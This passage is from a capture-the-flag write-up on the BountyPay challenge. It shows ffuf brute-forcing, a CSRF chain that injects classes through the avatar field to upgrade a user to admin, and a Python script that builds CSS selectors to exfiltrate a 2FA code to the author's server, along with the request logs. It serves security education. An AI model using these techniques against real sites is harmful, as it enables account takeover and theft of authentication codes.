# ffuf -c -u "https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=FUZZ" -w nums.txt -H "Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH" -mc all -fs 17

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1-git
________________________________________________

 :: Method           : GET
 :: URL              : https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=FUZZ
 :: Header           : Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 17
________________________________________________

3582                    [Status: 200, Size: 4264, Words: 1143, Lines: 102]

Since all the pages were at /?template=xxx I brute forced again to see what other templates were available.

# ffuf -c -w ~/wordlists/common.txt -u "https://staff.bountypay.h1ctf.com/?template=FUZZ" -H "Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH" -mc all -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1-git
________________________________________________

 :: Method           : GET
 :: URL              : https://staff.bountypay.h1ctf.com/?template=FUZZ
 :: Header           : Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 0
________________________________________________

admin                   [Status: 200, Size: 26, Words: 5, Lines: 1]
home                    [Status: 200, Size: 6562, Words: 2182, Lines: 148]
login                   [Status: 200, Size: 1348, Words: 337, Lines: 34]
ticket                  [Status: 200, Size: 17, Words: 3, Lines: 1]

The only one that I hadn't visited was the admin template, unfortunately I couldn't access with my current session.

# curl "https://staff.bountypay.h1ctf.com/?template=admin" -H "Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH"
No Access to this resource

Therefore, the objective here was probably to gain access to this template in some way.

I noticed that at the footer of every page there was a button to report the current page.

This link popped the following message.

Which generated a GET request to /admin/report?url=Lz90ZW1wbGF0ZT1ob21l being the url parameter the current path encoded in base64 (/?template=home).

I went to the source code to see where was this behavior implemented and found it at /js/website.js.

$(".upgradeToAdmin").click(function(){let t=$('input[name="username"]').val();$.get("/admin/upgrade?username="+t,function(){alert("User Upgraded to Admin")})}),$(".tab").click(function(){return $(".tab").removeClass("active"),$(this).addClass("active"),$("div.content").addClass("hidden"),$("div.content-"+$(this).attr("data-target")).removeClass("hidden"),!1}),$(".sendReport").click(function(){$.get("/admin/report?url="+url,function(){alert("Report sent to admin team")}),$("#myModal").modal("hide")}),document.location.hash.length>0&&("#tab1"===document.location.hash&&$(".tab1").trigger("click"),"#tab2"===document.location.hash&&$(".tab2").trigger("click"),"#tab3"===document.location.hash&&$(".tab3").trigger("click"),"#tab4"===document.location.hash&&$(".tab4").trigger("click"));

Prettified the code to read it better.

$(".upgradeToAdmin").click(function() {
    let t = $('input[name="username"]').val();
    $.get("/admin/upgrade?username=" + t, function() {
        alert("User Upgraded to Admin")
    })
}), $(".tab").click(function() {
    return $(".tab").removeClass("active"), 
    $(this).addClass("active"), 
    $("div.content").addClass("hidden"), 
    $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}), $(".sendReport").click(function() {
    $.get("/admin/report?url=" + url, function() {
        alert("Report sent to admin team")
    }), $("#myModal").modal("hide")
}), document.location.hash.length > 0 && (
    "#tab1" === document.location.hash && $(".tab1").trigger("click"), 
    "#tab2" === document.location.hash && $(".tab2").trigger("click"), 
    "#tab3" === document.location.hash && $(".tab3").trigger("click"), 
    "#tab4" === document.location.hash && $(".tab4").trigger("click")
);

Here I saw the endpoint /admin/upgrade?username= which I could use to upgrade my user. But as expected, I wasn't allowed to perform this action by my own.

# curl "https://staff.bountypay.h1ctf.com/admin/upgrade?username=sandra.allison" -H "Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH"
["Only admins can perform this"]

Anyways, this endpoint seemed to be vulnerable to CSRF, so I could trick an admin to visit /admin/upgrade?username=sandra.allison and the easiest way to achieve this would probably be through the report url I saw before. Unfortunately, the message already said "Pages in the /admin directory will be ignored for security".

This was the hardest part of the CTF for me, I tried a lot of things until I found the correct way to exploit this, so I'm going to detail a bit some of those things I tried.

Bypassing the /admin restriction

The easiest way to do this would be to bypass the /admin restriction when reporting a page so I started trying to report a lot of payloads which didn't work:

Blind XSS

Since I was allowed to modify my username and my avatar I tried to leave a XSS payload there if for any reason any admin would see it, but the characters I was allowed to use seemed to be pretty well filtered.

Server Side Template Injection

All the pages were under /template?=xx, maybe that was a hint that I needed to exploit a SSTI vulnerability, so I tried to leave payloads ({{7*7}}, ${7*7}, ...) in my username, avatar and even in the url, which was being reflected in base64 at the end of the page, but none of those worked.

Manually edit session cookie

I noticed that every time I modified my username or avatar, my session cookie was changed a bit and every time I reused a value I received the same cookie, that probably meant the user information was contained in that cookie, so maybe if I could decrypt it I could manually modify it to change my user.

profile_name=1&profile_avatar=abc
⬇⬇⬇
c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjM4c3pvUUdzaVZwTnRESG91V1dSQVFSL0RJckJuWnp1TmRZNVR0LzcxeWN6NGp6V2pWU2lBWjQ5WlVqRm9wVlBDMi9FS1c2NlE0YzBqamRPbG1PY0QyVUpDckZoeEFoRnpGdi9FVFRRSGYycFdCNTg5QWxCb0hxaSsrZE0=
---
profile_name=2&profile_avatar=abc
⬇⬇⬇
c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjMvRXpvUUdzaVZwTnRESG91V1dSQVFSL0RJckJuWnp1TmRZNVR0LzcxeWN6NGp6V2pWU2lBWjQ5WlVqRm9wVlBDMi9FS1c2NlE0YzBqamNZazJhZlZETmRXYkZqbUFrWG53cWlFelBWRTZqL1UwQXFwZ1VTb1NxaHJPZE0=

After spending some time here trying to find patterns, I finally gave up because I thought they wouldn't be so evil to put such a hard crypto challenge here.

Outdated jQuery

While I was reviewing the source code, I noticed the application was using jQuery 1.12.4 (/js/jquery.min.js), a really outdated version of this library which was launched 4 years ago (May 20, 2016), something really strange knowing this CTF was built during the last few months.

/*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */

When I face an old version of jQuery I like to use this application which tells you every known vulnerability for each available version.

Since $.get() was being used on the source code, I thought about trying to exploit issue 2432 to force the execution my own JavaScript code, but I couldn't find a way to change the supplied url to that function.

The good one

After spending a lot of time in rabbit holes I decided to take a closer look at the /js/website.js file where the upgrade action was defined.

$(".upgradeToAdmin").click(function() {
    let t = $('input[name="username"]').val();
    $.get("/admin/upgrade?username=" + t, function() {
        alert("User Upgraded to Admin")
    })
}), $(".tab").click(function() {
    return $(".tab").removeClass("active"), 
    $(this).addClass("active"), 
    $("div.content").addClass("hidden"), 
    $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}), $(".sendReport").click(function() {
    $.get("/admin/report?url=" + url, function() {
        alert("Report sent to admin team")
    }), $("#myModal").modal("hide")
}), document.location.hash.length > 0 && (
    "#tab1" === document.location.hash && $(".tab1").trigger("click"), 
    "#tab2" === document.location.hash && $(".tab2").trigger("click"), 
    "#tab3" === document.location.hash && $(".tab3").trigger("click"), 
    "#tab4" === document.location.hash && $(".tab4").trigger("click")
);

I figured out that by reporting a url with #tab1, I could force the admin to click elements with the class tab1, something not really useful by itself, but what if could create an element with the class tab1 and upgradeToAdmin? In that case, when that element was clicked, the event handler for $(".upgradeToAdmin").click would also be triggered, executing the request to /admin/upgrade?username=.

I found that by modifying my avatar I could reproduce this behavior, since the profile_avatar was being reflected in a class attribute on the ticket detail page (/?template=ticket&ticket_id=3582).

profile_name=sandra&profile_avatar=tab1 upgradeToAdmin

<div style="width: 100px;position: absolute">
    <div style="margin:auto" class="avatar tab1 upgradeToAdmin"></div>
    <div class="text-center">sandra</div>
</div>

I could now reproduce this behavior by myself by accessing to /?template=ticket&ticket_id=3582#tab1, then a request to /admin/upgrade?username=undefined was automatically sent.

Unfortunately, since the user being upgraded was being extracted from an input field with name username ($('input[name="username"]').val();) and there was none on the ticket page, the upgraded user was "undefined" not sandra.allison (I tried to change my profile name to undefined but it didn't work).

By looking through all my visited pages I found one input field with name username at /?template=login and I can even control its value from the query parameter username like /?template=login&username=sandra.allison.

<div class="panel-body">
    <div style="margin-top:7px"><label>Username:</label></div>
    <div><input name="username" class="form-control" value="sandra.allison"></div>
    <div style="margin-top:7px"><label>Password:</label></div>
    <div><input name="password" type="password" class="form-control"></div>
</div>

But on this template my avatar with the custom classes wasn't shown, so I couldn't trigger the click function. How could I show both templates in the same page? With arrays /?template[0]=template1&template[1]=template2.

This way I could have the login template (where there was an input field with my username) and the ticket template (with my avatar that triggered the upgrade function) on the same page.

/?template[0]=login&username=sandra.allison&template[1]=ticket&ticket_id=3582#tab1

This resulted in an automatic request to /admin/upgrade?username=sandra.allison, so I reported this by using the following URL:

/admin/report?url=Lz90ZW1wbGF0ZVswXT1sb2dpbiZ1c2VybmFtZT1zYW5kcmEuYWxsaXNvbiZ0ZW1wbGF0ZVsxXT10aWNrZXQmdGlja2V0X2lkPTM1ODIjdGFiMQ==

But after waiting for several minutes and trying a couple of times, for some reason it didn't work.

I was pretty sure this was the intended way so I decided to message @adamtlangley (CTF creator) just to make sure everything was working as expected and ensure no bot had died.

Query arrays also work without a number, I just had to remove them.

/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab1

Finally I reported this via the following URL and got my user upgraded to admin.

/admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyI3RhYjE=

CSS exfiltration

I already had Brian's credentials, so I picked Marten's and tried them on app.bountypay.h1ctf.com where I had to bypass the 2FA as I did with Brian at the beginning of the CTF.

I was presented with the same dashboard where I could consult transactions for any month/year, so I brute forced those again with Marten's session.

# ffuf -c -t 50 -w months.txt:MONTH -w years.txt:YEAR -u "https://app.bountypay.h1ctf.com/statements?month=MONTH&year=YEAR" -H "Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9" -mc all -fs 177

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1-git
________________________________________________

 :: Method           : GET
 :: URL              : https://app.bountypay.h1ctf.com/statements?month=MONTH&year=YEAR
 :: Header           : Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: all
 :: Filter           : Response size: 177
________________________________________________

[Status: 200, Size: 312, Words: 3, Lines: 1]
    * YEAR: 2020
    * MONTH: 5

Only one result which showed those bounties who needed to be paid that the initial tweet talked about.

When clicking the Pay button, the following message was shown warning that 2FA was required.

This shouldn't be a problem since I already knew how to bypass the 2FA system.

I tried again replacing the challenge with my custom MD5 hash as I did when logging in, but by my surprise I received an error.

Looks like there was a different system behind this 2FA and another step was missing in order to finish the CTF. I started looking through all requests to see if there was something different and found that, when clicking the Send Challenge button, this strange POST request was being sent.

POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9

app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css

I replaced www.bountypay.h1ctf.com with my own domain, started a server and received that request.

# python server.py 
3.21.98.146 - - [01/Jun/2020 20:06:16] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:06:16] "GET /css/uni_2fa_style.css HTTP/1.1" 404 -

I had a blind SSRF here, because nothing was reflected on the response. I tried a couple of things to escalate it to a full SSRF, but since the file being requested was a css, I imagined this had something to do with css exfiltration, a technique I have already seen in other CTFs before.

To validate this, I created the css file which the application was trying to fetch and force it to load an image from /hipotermia if the resource was loaded.

body{background-image: url(https://hipotermia.pw/hipotermia);}

Indeed, after the css was retrieved, I received another request to /hipotermia trying to get that image.

# python server.py 
3.21.98.146 - - [01/Jun/2020 20:22:50] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [01/Jun/2020 20:22:50] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:22:50] "GET /hipotermia HTTP/1.1" 404 -

This technique is usually used to exfiltrate data from input fields, this is because css allows to use different styles for inputs with a certain attribute or value.

I created the following python script that generated a css file containing one style for every character possible and that style requested a different resource from my domain.

chars =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','X','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','0','-','_']
css = ''
for char in chars:
    css += 'input[name^=' + char + ']{background-image: url(https://hipotermia.pw/' + char + ');}\n'
with open('css/uni_2fa_style.css', 'w') as f:
  f.write(css)

After executing the script, the resulting css file looked like this.

# cat css/uni_2fa_style.css 
input[name^=a]{background-image: url(https://hipotermia.pw/a);}
input[name^=b]{background-image: url(https://hipotermia.pw/b);}
input[name^=c]{background-image: url(https://hipotermia.pw/c);}
input[name^=d]{background-image: url(https://hipotermia.pw/d);}
input[name^=e]{background-image: url(https://hipotermia.pw/e);}
input[name^=f]{background-image: url(https://hipotermia.pw/f);}
...

I sent the POST request again and when the css was loaded, I received another request which showed me the first letter from the input field (c).

# python server.py 
3.21.98.146 - - [01/Jun/2020 20:40:54] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [01/Jun/2020 20:40:54] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:40:54] "GET /c HTTP/1.1" 404 -

Then, I just added that letter to the python script to generate new entries for the css file until I got the full name.

I already had extracted code_ from the input name when I received the following requests on the next iteration.

# python server.py 
3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /7 HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /1 HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /2 HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /3 HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /4 HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /5 HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /6 HTTP/1.1" 404 -

This meant that there were 7 different input fields code_1, code_2, ..., code_7. I assumed every one of those inputs had the correspondent character from the 2FA token.

I modified my python script to generate combinations of values for every one of those 7 input fields.

chars =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','X','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','0','-','_']
css = ''
for i in range(1,8):
    for char in chars:
        css += 'input[name^=code_' + str(i) + '][value^=' + char + ']{background-image: url(https://hipotermia.pw/' + str(i) + char + ');}\n'
with open('css/uni_2fa_style.css', 'w') as f:
  f.write(css)

This resulted in the following css file.

# cat css/uni_2fa_style.css 
input[name^=code_1][value^=a]{background-image: url(https://hipotermia.pw:4443/1a);}
input[name^=code_1][value^=b]{background-image: url(https://hipotermia.pw:4443/1b);}
input[name^=code_1][value^=c]{background-image: url(https://hipotermia.pw:4443/1c);}
...
input[name^=code_2][value^=a]{background-image: url(https://hipotermia.pw:4443/2a);}
input[name^=code_2][value^=b]{background-image: url(https://hipotermia.pw:4443/2b);}
input[name^=code_2][value^=c]{background-image: url(https://hipotermia.pw:4443/2c);}
...
input[name^=code_7][value^=0]{background-image: url(https://hipotermia.pw:4443/70);}
input[name^=code_7][value^=-]{background-image: url(https://hipotermia.pw:4443/7-);}
input[name^=code_7][value^=_]{background-image: url(https://hipotermia.pw:4443/7_);}

I requested the challenge code one last time and received 7 different requests, one for every input field.

# python server.py 
3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /css/uni_2fa_style.css HTTP/1.1" 200 -
3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /7m HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /1j HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /2m HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /3F HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /4O HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /5G HTTP/1.1" 404 -
3.21.98.146 - - [01/Jun/2020 21:01:24] code 404, message File not found
3.21.98.146 - - [01/Jun/2020 21:01:24] "GET /6N HTTP/1.1" 404 -

I just needed to sort those characters by its code number to get the 2FA code (jmFOGNm).

I introduced it and was I finally redirected to the end of the CTF.